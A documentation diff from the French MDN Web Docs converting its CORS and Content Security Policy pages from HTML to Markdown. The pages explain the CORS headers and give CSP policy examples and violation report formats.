+Le paramètre `origin` définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("`*`") qui permet à n'importe quelle origine d'accéder à la ressource. -

Le paramètre origin définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("*") qui permet à n'importe quelle origine d'accéder à la ressource.

+Si on souhaite, par exemple, autoriser `http://mozilla.org` à accéder à la ressource, on pourra répondre avec : -

Si on souhaite, par exemple, autoriser http://mozilla.org à accéder à la ressource, on pourra répondre avec :

+ Access-Control-Allow-Origin: http://mozilla.org -
Access-Control-Allow-Origin: http://mozilla.org
+Si le serveur indique une origine spécifique plutôt que "`*`", il pourra également inclure la valeur `Origin` dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}. -

Si le serveur indique une origine spécifique plutôt que "*", il pourra également inclure la valeur Origin dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}.

+### `Access-Control-Expose-Headers` -

Access-Control-Expose-Headers

+L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi : -

L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi :

+ Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete -
Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete
-
+Cela permettra que les en-têtes `X-Mon-En-tete-Specifique` et `X-Un-Autre-En-tete` soient utilisés par le navigateur. -

Cela permettra que les en-têtes X-Mon-En-tete-Specifique et X-Un-Autre-En-tete soient utilisés par le navigateur.

+### `Access-Control-Max-Age` -

Access-Control-Max-Age

+L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires). -

L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires).

+ Access-Control-Max-Age: -
Access-Control-Max-Age: <delta-en-secondes>
-
+Le paramètre `delta-en-seconds` indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache. -

Le paramètre delta-en-seconds indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache.

+### `Access-Control-Allow-Credentials` -

Access-Control-Allow-Credentials

+L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option `credentials` vaut `true`. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes `GET` sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web. -

L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option credentials vaut true. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes GET sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web.

+ Access-Control-Allow-Credentials: true -
Access-Control-Allow-Credentials: true
-
+[Voir les scénarios ci-avant pour des exemples](#credentials). -

Voir les scénarios ci-avant pour des exemples.

+### `Access-Control-Allow-Methods` -

Access-Control-Allow-Methods

+L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant [les conditions dans lesquelles une requête préliminaire est nécessaire](#preflight)). -

L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant les conditions dans lesquelles une requête préliminaire est nécessaire).

+ Access-Control-Allow-Methods: [, ]* -
Access-Control-Allow-Methods: <methode>[, <methode>]*
-
+[Voir un exemple ci-avant pour l'utilisation de cet en-tête](#preflight). -

Voir un exemple ci-avant pour l'utilisation de cet en-tête.

+### `Access-Control-Allow-Headers` -

Access-Control-Allow-Headers

+L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée. -

L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée.

+ Access-Control-Allow-Headers: [, ]* -
Access-Control-Allow-Headers: <nom-champ>[, <nom-champ>]*
-
+## En-têtes de requête HTTP -

En-têtes de requête HTTP

+Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript. -

Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript.

+### `Origin` -

Origin

+L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine. -

L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine.

+ Origin: -
Origin: <origine>
-
+L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur. -

L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur.

+> **Note :** `origine` peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée). -
-

Note : origine peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée).

-
+Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera **toujours** envoyé. -

Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera toujours envoyé.

+### `Access-Control-Request-Method` -

Access-Control-Request-Method

+L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale. -

L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale.

+ Access-Control-Request-Method: -
Access-Control-Request-Method: <methode>
-
+Voir [ci-avant pour des exemples d'utilisation de cet en-tête](#preflight). -

Voir ci-avant pour des exemples d'utilisation de cet en-tête.

+### `Access-Control-Request-Headers` -

Access-Control-Request-Headers

+L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale. -

L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale.

+ Access-Control-Request-Headers: [, ]* -
Access-Control-Request-Headers: <nom-champ>[, <nom-champ>]*
-
+Voir [ci-avant pour des exemples d'utilisation de cet en-tête](#preflight). -

Voir ci-avant pour des exemples d'utilisation de cet en-tête.

+## Spécifications -

Spécifications

+| Spécification | État | Commentaires | +| ---------------------------------------------------------------- | ------------------------ | ----------------------------------------------------------------------------------------------- | +| {{SpecName('Fetch', '#cors-protocol', 'CORS')}} | {{Spec2('Fetch')}} | Nouvelle définition, remplace la spécification [W3C pour le CORS](https://www.w3.org/TR/cors/). | - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}Nouvelle définition, remplace la spécification W3C pour le CORS.
+## Compatibilité des navigateurs -

Compatibilité des navigateurs

+{{Compat("http.headers.Access-Control-Allow-Origin")}} -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+### Notes de compatibilité -

Notes de compatibilité

+- Internet Explorer 8 et 9 exposent les fonctionnalités relatives au CORS via l'objet `XDomainRequest`. L'implémentation complète est disponible à partir d'IE 10. +- Bien que Firefox 3.5 ait introduit la prise en charge des requêtes `XMLHttpRequest` entre différents sites et des polices web, certaines requêtes étaient limitées jusqu'à des versions ultérieures. Plus précisément, Firefox 7 permet les requêtes multi-origines pour les textures WebGL et Firefox 9 permet la récupération d'images dessinées sur un canevas via `drawImage`. -
    -
  • Internet Explorer 8 et 9 exposent les fonctionnalités relatives au CORS via l'objet XDomainRequest. L'implémentation complète est disponible à partir d'IE 10.
    • -
  • Bien que Firefox 3.5 ait introduit la prise en charge des requêtes XMLHttpRequest entre différents sites et des polices web, certaines requêtes étaient limitées jusqu'à des versions ultérieures. Plus précisément, Firefox 7 permet les requêtes multi-origines pour les textures WebGL et Firefox 9 permet la récupération d'images dessinées sur un canevas via drawImage.
    • -
+## Voir aussi -

Voir aussi

+- [Exemples de codes utilisant `XMLHttpRequest` et le CORS (en anglais)](https://arunranga.com/examples/access-control/) +- [Exemples de code côté client et côté serveur utilisant le CORS (en anglais)](https://github.com/jackblackevo/cors-jsonp-sample) +- [Le CORS vu côté serveur (PHP, etc.)](/fr/docs/Web/HTTP/Server-Side_Access_Control) +- {{domxref("XMLHttpRequest")}} +- [L'API Fetch](/fr/docs/Web/API/Fetch_API) +- [Utiliser le CORS - HTML5 Rocks (en anglais)](https://www.html5rocks.com/en/tutorials/cors/) +- [Une réponse Stack Overflow pour répondre aux problèmes fréquemment posés par le CORS (en anglais)](https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141) : - \ No newline at end of file + - Comment éviter les requêtes préliminaires + - Comment utiliser un proxy CORS pour contourner _No Access-Control-Allow-Origin header_ + - Comment corriger _Access-Control-Allow-Origin header must not be the wildcard_ diff --git a/files/fr/web/http/csp/index.md b/files/fr/web/http/csp/index.md index fa2f565dd8..69065b9743 100644 --- a/files/fr/web/http/csp/index.md +++ b/files/fr/web/http/csp/index.md @@ -8,179 +8,175 @@ tags: - Security translation_of: Web/HTTP/CSP --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Une Content Security Policy ({{Glossary("CSP")}}) ou stratégie de sécurité du contenu permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (Cross Site Scripting) et les injections de contenu. Ces attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de malware.

+**Une _Content Security Policy ({{Glossary("CSP")}})_ ou stratégie de sécurité du contenu** permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (_Cross Site Scripting_) et les injections de contenu. Ces attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de _malware_. -

CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à la documentation du w3c (en anglais)). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (same-origin policy) pour les contenus.

+CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à [la documentation du w3c (en anglais)](https://www.w3.org/TR/CSP2)). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (_same-origin policy_) pour les contenus. -

Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (header) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent X-Content-Security-Policy comme en-tête, il s'agit d'une version obsolète qu'il n'est plus utile de supporter.

+Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (_header_) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent `X-Content-Security-Policy` comme en-tête, il s'agit d'une version obsolète qu'il n'est plus utile de supporter. -

Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

+Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : `` -

Menaces

+## Menaces -

Réduction des attaques cross site scripting (XSS)

+### Réduction des attaques _cross site scripting_ (XSS) -

L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir.

+L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir. -

CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts inline (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés.

+CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts _inline_ (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés. -

Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script.

+Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script. -

Empêcher les écoutes du trafic

+### Empêcher les écoutes du trafic -

En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de cookies sécurisés (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS).

+En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de [cookies sécurisés](/fr/docs/Web/HTTP/Cookies) (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS). -

Utiliser CSP

+## Utiliser CSP -

Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses.

+Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses. -

Créer votre règle CSP

+### Créer votre règle CSP -

On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi :

+On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi : -
Content-Security-Policy: règle
+ Content-Security-Policy: règle -

La règle est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP.

+La `règle` est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP. -

Écrire une règle

+### Écrire une règle -

Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript inline) et l'utilisation de eval(), une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS inline avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises style, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}.

+Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript _inline_) et l'utilisation de `eval()`, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS _inline_ avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises `style`, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}. -

Exemples pour les cas courants

+## Exemples pour les cas courants -

Cette section propose des règles CSP pour les scenarios les plus classiques.

+Cette section propose des règles CSP pour les scenarios les plus classiques. -

Exemple 1

+### Exemple 1 -

Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) :

+Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) : -
Content-Security-Policy: default-src 'self';
+ Content-Security-Policy: default-src 'self'; -

Exemple 2

+### Exemple 2 -

Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de source-sure.example.net (qui peut être un autre site) :

+Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de `source-sure.example.net` (qui peut être un autre site) : -
Content-Security-Policy: default-src 'self' *.source-sure.example.net
+ Content-Security-Policy: default-src 'self' *.source-sure.example.net -

Exemple 3

+### Exemple 3 -

Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de toto.local ou tata.local, les scripts par scripts.local :

+Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de `toto.local` ou `tata.local`, les scripts par `scripts.local` : -
Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local
+ Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local -

Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts.

+Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts. -

Exemple 4

+### Exemple 4 -

Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis :

+Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis : -
Content-Security-Policy: default-src https://confidentiel.example.net
+ Content-Security-Policy: default-src https://confidentiel.example.net -

Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de https://confidentiel.example.net.

+Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de `https://confidentiel.example.net`. -

Exemple 5

+### Exemple 5 -

Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux :

+Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux : -
Content-Security-Policy: default-src 'self'; img-src *; child-src: *
+ Content-Security-Policy: default-src 'self'; img-src *; child-src: * -

On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive default-src qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine.

+On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive `default-src` qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine. -

Tester une règle CSP

+## Tester une règle CSP -

Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme.

+Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme. -

Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela :

+Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela : -
Content-Security-Policy-Report-Only: règle
+ Content-Security-Policy-Report-Only: règle -

Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place.

+Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place. -

La règle indiquée par Content-Security-Policy est appliquée tandis que celle fourni par Content-Security-Policy-Report-Only génère des rapports mais n'est pas appliquée.

+La règle indiquée par `Content-Security-Policy` est appliquée tandis que celle fourni par `Content-Security-Policy-Report-Only` génère des rapports mais n'est pas appliquée. -

Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent.

+Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent. -

Gérer les rapports

+## Gérer les rapports -

Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports :

+Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports : -
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
+ Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi -

Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter.

+Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter. -

Syntaxe des rapports de violation

+## Syntaxe des rapports de violation -

Le rapport est un objet JSON qui contient :

+Le rapport est un objet JSON qui contient : -
-
blocked-uri
-
L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via document-uri, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port.
-
disposition
-
La chaîne "report" si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou "enforce" si Content-Security-Policy a été utilisée.
-
document-uri
-
L'URI du document pour lequel la violation a eu lieu.
-
effective-directive
-
La directive dont le non-respect a entraîné la violation.
-
original-policy
-
La règle telle qu'indiquée dans l'en-tête HTTP Content-Security-Policy.
-
referrer
-
Le referrer du document pour lequel la violation a eu lieu.
-
script-sample
-
Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation.
-
status-code
-
Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.
-
violated-directive
-
Le nom de la directive, dans la règle, qui n'a pas été respectée.
-
+- `blocked-uri` + - : L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via `document-uri`, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port. +- `disposition` + - : La chaîne `"report"` si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou `"enforce"` si `Content-Security-Policy` a été utilisée. +- `document-uri` + - : L'URI du document pour lequel la violation a eu lieu. +- `effective-directive` + - : La directive dont le non-respect a entraîné la violation. +- `original-policy` + - : La règle telle qu'indiquée dans l'en-tête HTTP `Content-Security-Policy`. +- `referrer` + - : Le _referrer_ du document pour lequel la violation a eu lieu. +- `script-sample` + - : Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation. +- `status-code` + - : Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié. +- `violated-directive` + - : Le nom de la directive, dans la règle, qui n'a pas été respectée. -

Exemple de rapport de violation de règle

+## Exemple de rapport de violation de règle -

Si l'on considère une page http://example.com/connexion.html, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de cdn.example.com) :

+Si l'on considère une page `http://example.com/connexion.html`, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de `cdn.example.com`) : -
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
+ Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports -

et qui contient le code HTML suivant :

+et qui contient le code HTML suivant : -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Connectez-vous</title>
-    <link rel="stylesheet" href="css/style.css">
-  </head>
-  <body>
+```html
+
+
+  
+    Connectez-vous
+    
+  
+  
     ... Contenu ...
-  </body>
-</html>
+ + +``` -

Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de cdn.example.com et non du site lui-même (l'origine même de la page) comme <link rel="stylesheet" href="css/style.css"> l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse http://example.com/_/csp-reports à chaque visite de la page dont il est question :

+Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de `cdn.example.com` et non du site lui-même (l'origine même de la page) comme `` l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse `http://example.com/_/csp-reports` à chaque visite de la page dont il est question : -
{
-  "csp-report": {
-    "document-uri": "http://example.com/connexion.html",
-    "referrer": "",
-    "blocked-uri": "http://example.com/css/style.css",
-    "violated-directive": "style-src cdn.example.com",
-    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
-  }
-}
+ { + "csp-report": { + "document-uri": "http://example.com/connexion.html", + "referrer": "", + "blocked-uri": "http://example.com/css/style.css", + "violated-directive": "style-src cdn.example.com", + "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports" + } + } -

